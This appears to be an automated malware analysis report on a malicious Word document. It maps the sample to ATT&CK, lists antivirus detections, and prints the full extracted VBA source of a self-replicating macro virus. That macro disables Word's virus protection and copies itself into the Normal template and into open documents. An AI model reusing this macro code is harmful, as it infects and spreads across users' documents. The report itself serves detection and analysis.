MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The macro attempts to disable virus protection by setting 'Options.VirusProtection = False'. It also displays a warning message to the user, which could be a social engineering tactic or a distraction. The macro attempts to copy itself to the Normal template and the active document, potentially for persistence or propagation.
Heuristics 3
-
ClamAV: Heuristics.Macro.DisableVirusProtection-6136181-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Heuristics.Macro.DisableVirusProtection-6136181-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1212 bytes |
SHA-256: c5f8587311e179265736f2940ff75abb2211dcb7f48a0d811adafb69f3d93f28 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() Options.VirusProtection = False If InStr(Date, "28.4.") <> 0 Then MsgBox "Nazdar!" + Chr(10) + Chr(13) + _ "Ja som virus WORDO a ked sa mi bude chciet" _ + ", tak znicim vsetky data v tomto " _ + "pocitaci.", vbOKOnly + vbExclamation, _ "VIRUS" End If If NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines = 0 Then GoTo 1 If ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines <> 0 Then Exit Sub pr = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines - 1 z = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, pr) ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString (z) ActiveDocument.Save Exit Sub 1 pr = ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines - 1 z = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, pr) NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromString (z) NormalTemplate.Save End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.